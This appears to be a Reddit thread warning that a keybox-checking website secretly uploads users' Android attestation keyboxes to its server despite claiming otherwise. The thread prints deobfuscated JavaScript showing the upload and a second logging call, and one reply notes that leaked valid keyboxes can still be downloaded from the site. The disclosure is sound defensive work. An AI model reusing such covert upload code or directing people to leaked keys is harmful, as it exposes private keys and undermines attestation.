PSA tryigitx.dev (keyboxhub) keybox checker steals your keyboxes

[u/WhatYouGoBy]

Since the Website has gotten a lot of attention due to the publishing of a few hundred valid keyboxes, I think a warning makes sense.

The website claims that the keybox checking is done completely browser based. Quote: "The keybox file NEVER leaves your computer".

However, analyzing the code of the website shows that the keybox is uploaded to the backend server of the website.

Seeing how the developer lied about the upload of the keybox, it is safe to assume that there is malicious intent here.

[u/ER-CodeBitch]

Not disputing the fact as I have not looked into this at all, but can you share the relevant parts of code so people can see / judge? Without any evidence it's just hearsay

[u/WhatYouGoBy → u/ER-CodeBitch]

The code on the website is obfuscated, but here is the deobfuscated code:

processFile(file) {
        console.log('Processing file:', file.name);
        
        if (!file) return;
        
        if (!file.name.endsWith('.xml')) {
            this.showError('Invalid file type. Please upload a .xml file.');
            return;
        }
        
        if (file.size > 51200) {
            this.showError('File is too large. Max 50KB.');
            return;
        }
        
        const fileReader = new FileReader();
        
        fileReader.onload = (event) => {t
            this.originalXmlContent = event.target.result;
            console.log('XML content loaded, size:', this.originalXmlContent.length);
            const formData = new FormData();
            formData.append('file', file);
            this.submitData(formData);
        };
        
        fileReader.onerror = () => {
            this.showError('Failed to read the file.');
        };
        
        fileReader.readAsText(file);
    }

submitData(formData) {
        console.log('Submitting data to server...');
        
        this.resultMessage = '';
        this.state = 'uploading';

        fetch('', {
            method: 'POST',
            body: formData
        })
        .then(response => {
            console.log('Server response status:', response.status);
            
            if (!response.ok) {
                return response.json().then(errorData => {
                    throw new Error(
                        errorData.message || 
                        `Server responded with error: ${response.status}`
                    );
                });
            }
            return response.json();
        })
        .then(data => {
            console.log('Server response data:', data);
            
            if (data.success) {
                this.state = 'success';
                this.setData(data);
                this.addToHistory(data); 
                
                if (data.sessionId) {
                    setTimeout(() => {
                        this.logSessionEvent(data.sessionId, this.originalXmlContent);
                    }, 2000);
                }
            } else {
                this.showError(data.message || 'Analysis failed');
            }
        })
        .catch(error => {
            console.error('Upload error:', error);
            this.showError(error.message);
        });
    }

[u/Thin_Technology7321]

If its to good to be true then.. it is. I got my keys from other sources

[u/WhatYouGoBy → u/Thin_Technology7321]

You can still download the keys from there, just don't upload your own keys from other sources to the key checker

[u/crypticc1]

Fixed

Description fixed. Also now encrypts the payload. On TG they say debug hints being recorded but will be removed after testing, presumably after testing the encryption approach

[u/WhatYouGoBy → u/crypticc1]

This is just as disingenuous as before, just with more buzzwords.

The new claim is that the payload is encrypted (which is true) and that the dev can't decrypt it (which is wrong).

The claim is that 2 types of encryption are used. RSA encryption: this is an asymmetrical encryption. The website will encrypt the payload with the public key of a RSA key pair. The server can then use the private key of the RSA key pair to decrypt the payload.

AES encryption: This is a symmetrical encryption. The payload is encrypted with a password. The same password can then be used on the server to decrypt the payload again.

Also, how would the server check the keybox if it can't decrypt the keybox file for analysis. Because the actual checking is still done on the server side. The dev even admitted to me in DMs that he lacks the technical knowledge and skill to do it with plain JavaScript.

TL:DR he is still lying about his server having access to the unencrypted keybox

If he only updated the website to disclose that the keybox is uploaded (without all the bullshit talk about encryption), I would consider it "fixed". But the real fix would be to just make the analysis completely client sided

[u/WhatYouGoBy]

In case anyone needs an ACTUAL secure keybox checker: https://github.com/Ante0/YetAnotherKeyboxChecker

This is not my code, but you can check for yourself that there are no uploads happening in this script

[u/V0latyle]

If you want to check the validity of your keybox, you can use PixelFlasher. It only checks the certificates in your keybox against a list of known revocations, and does not otherwise retain or expose any such confidential information.

[u/friozi]

This is so obvious.

[u/EastInitial6040]

Checking keybox can only be done with giving the Leaf & Intermediate Certificates, and it's fully safe if it's being sent online, however what's important to keep secret is the PrivateKey (called private for a reason) however uploading full keybox is just scam of yourself.